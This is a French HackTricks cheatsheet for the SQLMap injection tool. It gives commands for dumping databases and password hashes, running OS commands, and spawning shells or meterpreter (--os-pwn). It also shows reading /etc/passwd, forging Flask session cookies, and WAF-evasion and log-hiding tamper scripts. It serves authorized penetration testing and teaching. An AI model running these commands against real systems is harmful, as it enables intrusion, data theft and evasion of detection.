SQLMap - Cheatsheet
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Arguments de base pour SQLmap
Générique
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Récupérer des informations
Interne
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Données de la base de données
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
En utilisant SQLMapping, c'est un outil pratique qui génère des commandes et fournit un aperçu complet, à la fois basique et avancé, pour SQLMap. Il inclut des ToolTips qui expliquent chaque aspect de l'outil, détaillant chaque option afin que vous puissiez améliorer et comprendre comment l'utiliser de manière efficace et efficiente.
Injection place
From Burp/ZAP capture
Capturez la requête et créez un fichier req.txt.
sqlmap -r req.txt --current-user
Injection de requête GET
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Injection de requête POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Injections dans les en-têtes et autres méthodes HTTP
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Indiquez la chaîne lorsque l'injection est réussie
--string="string_showed_when_TRUE"
Ajouter une technique de détection
Si vous avez trouvé un SQLi mais que sqlmap ne l'a pas détecté, vous pouvez forcer la technique de détection avec des arguments comme --prefix
ou --suffix
, ou si c'est plus complexe, en l'ajoutant aux payloads utilisés par sqlmap dans /usr/share/sqlmap/data/xml/payloads/time_blind.xml
, par exemple pour le time blind basé.
Eval
Sqlmap permet l'utilisation de -e
ou --eval
pour traiter chaque payload avant de l'envoyer avec un certain python oneliner. Cela rend très facile et rapide le traitement de manière personnalisée du payload avant de l'envoyer. Dans l'exemple suivant, la session de cookie flask est signée par flask avec le secret connu avant de l'envoyer :
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Coquille
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Lire le fichier
--file-read=/etc/passwd
Explorer un site web avec SQLmap et auto-exploitation
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Injection de Second Ordre
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lisez ce post sur la façon d'effectuer des injections de seconde ordre simples et complexes avec sqlmap.
Personnalisation de l'injection
Définir un suffixe
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Préfixe
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Aide pour trouver l'injection booléenne
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
N'oubliez pas que vous pouvez créer votre propre tamper en python et c'est très simple. Vous pouvez trouver un exemple de tamper sur la page d'injection de deuxième ordre ici.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Description |
---|---|
apostrophemask.py | Remplace le caractère apostrophe par son équivalent en largeur complète UTF-8 |
apostrophenullencode.py | Remplace le caractère apostrophe par son équivalent unicode double illégal |
appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile |
base64encode.py | Encode tous les caractères d'une charge utile donnée en Base64 |
between.py | Remplace l'opérateur supérieur à ('>') par 'NOT BETWEEN 0 AND #' |
bluecoat.py | Remplace le caractère espace après l'instruction SQL par un caractère blanc aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE |
chardoubleencode.py | Double url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
commalesslimit.py | Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M' |
commalessmid.py | Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)' |
concat2concatws.py | Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Url-encode tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
charunicodeencode.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "%u0022" |
charunicodeescape.py | Unicode-url-encode les caractères non encodés d'une charge utile donnée (ne traite pas ceux déjà encodés). "\u0022" |
equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
escapequotes.py | Échappe les guillemets (' et ") |
greatest.py | Remplace l'opérateur supérieur à ('>') par son équivalent 'GREATEST' |
halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Enveloppe la requête complète avec un commentaire versionné |
modsecurityzeroversioned.py | Enveloppe la requête complète avec un commentaire à zéro versionné |
multiplespaces.py | Ajoute plusieurs espaces autour des mots-clés SQL |
nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres |
percentage.py | Ajoute un signe de pourcentage ('%') devant chaque caractère |
overlongutf8.py | Convertit tous les caractères d'une charge utile donnée (ne traite pas ceux déjà encodés) |
randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
securesphere.py | Ajoute une chaîne spécialement conçue |
sp_password.py | Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS |
space2comment.py | Remplace le caractère espace (' ') par des commentaires |
space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2hash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2morehash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère livre ('#') suivi d'une nouvelle ligne ('\n') |
space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
unmagicquotes.py | Remplace le caractère de citation (') par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin (pour que cela fonctionne) |
uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT' |
varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
versionedkeywords.py | Enveloppe chaque mot-clé non fonction avec un commentaire MySQL versionné |
versionedmorekeywords.py | Enveloppe chaque mot-clé avec un commentaire MySQL versionné |
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.